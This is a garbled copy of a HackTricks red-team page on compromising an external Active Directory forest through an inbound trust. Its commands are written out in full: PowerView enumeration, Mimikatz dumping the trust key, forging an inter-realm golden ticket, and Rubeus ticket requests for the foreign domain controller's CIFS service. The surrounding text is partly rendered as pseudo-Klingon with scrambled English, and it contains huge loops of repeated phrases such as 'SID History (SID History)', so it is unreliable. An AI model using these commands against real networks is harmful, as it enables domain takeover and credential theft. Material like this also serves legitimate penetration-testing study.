External Forest Domain - OneWay (Inbound) or bidirectional

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
Discover The PEASS Family, our collection of exclusive NFTs
Get the official PEASS & HackTricks swag
Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.

In this scenario an external domain is trusting you (or both are trusting each other), so you can get some kind of access over it.

Enumeration

First of all, you need to enumerate the trust:

Qa'leS 'ej Qa'leS (Inbound) yu'bej

htARTE (HackTricks AWS Red Team Expert) qaStaHvIS AWS hacking!

cybersecurity companyDaH 'oH Do you work in? company advertised in HackTricks want to see your? PEASS or download HackTricks in PDF access to the latest version of the want to have? SUBSCRIPTION PLANS Check the!
The PEASS Family Discover NFTs our collection of exclusive.
official PEASS & HackTricks swag Get the.
Join the 💬 Discord group or the telegram group follow me on Twitter 🐦@carlospolopm.
Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo .

qaStaHvIS 'e' vItlhutlh 'ej vItlhutlh (pagh 'ej vItlhutlh) 'e' vItlhutlh external domain In this scenario trusting you (pagh both are trusting each other), so you can get some kind of access over it.

Enumeration

'e' vItlhutlh enumerate need to First of all:

Get-DomainTrust
SourceName      : a.domain.local   --> Current domain
TargetName      : domain.external  --> Destination domain
TrustType       : WINDOWS-ACTIVE_DIRECTORY
TrustAttributes :
TrustDirection  : Inbound          --> Inboud trust
WhenCreated     : 2/19/2021 10:50:56 PM
WhenChanged     : 2/19/2021 10:50:56 PM

# Get name of DC of the other domain
Get-DomainComputer -Domain domain.external -Properties DNSHostName
dnshostname
-----------
dc.domain.external

# Groups that contain users outside of its domain and return its members
Get-DomainForeignGroupMember -Domain domain.external
GroupDomain             : domain.external
GroupName               : Administrators
GroupDistinguishedName  : CN=Administrators,CN=Builtin,DC=domain,DC=external
MemberDomain            : domain.external
MemberName              : S-1-5-21-3263068140-2042698922-2891547269-1133
MemberDistinguishedName : CN=S-1-5-21-3263068140-2042698922-2891547269-1133,CN=ForeignSecurityPrincipals,DC=domain,
DC=external

# Get name of the principal in the current domain member of the cross-domain group
ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1133
DEV\External Admins

# Get members of the cros-domain group
Get-DomainGroupMember -Identity "External Admins" | select MemberName
MemberName
----------
crossuser

# Lets list groups members
## Check how the "External Admins" is part of the Administrators group in that DC
Get-NetLocalGroupMember -ComputerName dc.domain.external
ComputerName : dc.domain.external
GroupName    : Administrators
MemberName   : SUB\External Admins
SID          : S-1-5-21-3263068140-2042698922-2891547269-1133
IsGroup      : True
IsDomain     : True

# You may also enumerate where foreign groups and/or users have been assigned
# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.

Initial Access

If you couldn't find any special access of your user in the other domain, you can still go back to the AD Methodology and try to privesc from an unprivileged user (things like kerberoasting for example):

You can use Powerview functions to enumerate the other domain using the -Domain param like in:

$> Get-DomainUser -Domain external.domain

Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName

Impersonation

Logging in

Using a regular method with the credentials of the users who is has access to the external domain you should be able to access:

qawHaq

qIb

ghItlhvam vItlhutlhlaHbe'chugh vaj qawHaq'e' vItlhutlhlaHbe'chugh vaj:

Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator

SID History Abuse

SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History) SID History (SID History)

Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local

{% endhint %}

ghItlh trusted key vItlhutlh TGT impersonating user current domain.

# Get a TGT for the cross-domain privileged user to the other domain
Invoke-Mimikatz -Command '"kerberos::golden /user:<username> /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'

# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC
## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:C:\path\save\ticket.kirbi /nowrap

# Now you have a TGS to access the CIFS service of the domain controller

pIm 'ej QaH jImej

QaH

QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e' vItlhutlh. QaH jImej 'e'

# Get a TGT of the user with cross-domain permissions
Rubeus.exe asktgt /user:crossuser /domain:sub.domain.local /aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80 /opsec /nowrap

# Get a TGT from the current domain for the target domain for the user
Rubeus.exe asktgs /service:krbtgt/domain.external /domain:sub.domain.local /dc:dc.sub.domain.local /ticket:doIFdD[...snip...]MuSU8= /nowrap

# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC
## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:doIFMT[...snip...]5BTA== /nowrap

# Now you have a TGS to access the CIFS service of the domain controller

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
Discover The PEASS Family, our collection of exclusive NFTs
Get the official PEASS & HackTricks swag
Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.

29 KiB Raw Permalink Blame History

External Forest Domain - OneWay (Inbound) or bidirectional

Enumeration

Qa'leS 'ej Qa'leS (Inbound) yu'bej

Enumeration

Initial Access

Impersonation

Logging in

qawHaq

qIb

SID History Abuse

pIm 'ej QaH jImej

QaH

29 KiB

Raw Permalink Blame History